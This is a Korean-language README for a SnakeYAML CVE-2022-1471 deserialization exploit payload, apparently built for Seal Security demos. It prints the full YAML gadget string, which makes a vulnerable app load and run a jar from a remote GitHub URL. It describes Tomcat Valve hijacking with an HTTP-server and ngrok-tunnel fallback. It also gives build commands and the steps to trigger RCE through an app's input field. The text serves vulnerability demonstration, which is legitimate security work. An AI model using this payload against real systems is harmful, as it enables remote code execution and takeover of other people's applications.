
Seal Security 데모용 SnakeYAML CVE-2022-1471 익스플로잇 페이로드
CVE-2022-1471용 SnakeYAML 역직렬화 공격 페이로드로, artsploit/yaml-payload에서 각색했습니다(원래는 mbechler/marshalsec 기반).
SnakeYAML의 안전하지 않은 Yaml.load()를 통해 로드되면, 이 페이로드는 실행 중인 애플리케이션을 장악하고 이를 "You've Been PWNED" 페이지로 대체합니다:
Tomcat Valve 주입을 사용할 수 없는 경우(예: Spring이 아닌 앱), 포트 9999에서 독립 실행형 HTTP 서버를 시작하고, ngrok가 실행 중이면 ngrok 터널을 자동으로 생성하는 방식으로 대체합니다.
이 페이로드는 macOS 로컬 환경과 CI/CD 파이프라인(예: Ubuntu의 GitHub Actions) 모두에서 작동합니다.
SnakeYAML 페이로드는 Java SPI(Service Provider Interface)를 통해 ScriptEngineManager를 트리거합니다:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["https://raw.githubusercontent.com/seal-sean-org/yaml-payload/main/yaml-payload.jar"]]]]
yaml-payload.jar를 가리키는 java.net.URL을 인스턴스화합니다.URLClassLoader로 감싸 원격 클래스를 로드합니다.ScriptEngineManager가 META-INF/services/javax.script.ScriptEngineFactory를 통해 AwesomeScriptEngineFactory를 발견하고 로드합니다./에 대한 이후의 모든 응답을 PWNED 페이지로 대체합니다.JDK 17+ 필요:
javac -d build src/artsploit/AwesomeScriptEngineFactory.java
cp -r src/META-INF build/
cd build && jar -cfv ../yaml-payload.jar . && cd ..
maven-demo 프로젝트에서 공격 페이로드로 사용됩니다. 페이로드 문자열을 앱의 name 필드에 붙여넣으면 RCE가 트리거됩니다. 다음 요청 시 앱 페이지가 PWNED 페이지로 대체됩니다. 전체 데모 지침은 해당 저장소의 README를 참조하세요.